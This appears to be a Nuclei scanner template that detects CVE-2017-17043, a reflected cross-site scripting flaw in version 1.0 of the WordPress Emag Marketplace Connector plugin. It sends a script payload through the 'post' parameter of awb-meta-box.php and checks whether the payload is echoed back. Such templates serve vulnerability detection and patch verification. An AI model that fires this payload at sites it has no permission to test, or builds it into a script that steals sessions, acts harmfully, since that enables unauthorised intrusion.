WordPress Emag Marketplace Connector 1.0 - Cross-Site Scripting

id: CVE-2017-17043

info:
  name: WordPress Emag Marketplace Connector 1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Emag Marketplace Connector plugin 1.0 contains a reflected cross-site scripting vulnerability because the parameter "post" to /wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php is not filtered correctly.
  impact: |
    Successful exploitation of this vulnerability could lead to the theft of sensitive information, session hijacking, or the execution of arbitrary code in the context of the affected user.
  remediation: |
    Update to the latest version of the WordPress Emag Marketplace Connector plugin (1.1) or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://wordpress.org/support/topic/wordpress-emag-marketplace-connector-1-0-cross-site-scripting-vulnerability/
    - https://packetstormsecurity.com/files/145060/wpemagmc10-xss.txt
    - https://wpvulndb.com/vulnerabilities/8964
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17043
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-17043
    cwe-id: CWE-79
    epss-score: 0.00245
    epss-percentile: 0.64551
    cpe: cpe:2.3:a:zitec:emag_marketplace_connector:1.0.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: zitec
    product: "emag_marketplace_connector"
    framework: wordpress
  tags: cve,cve2017,xss,wp-plugin,packetstorm,wordpress,zitec
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/emag-marketplace-connector/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php?post=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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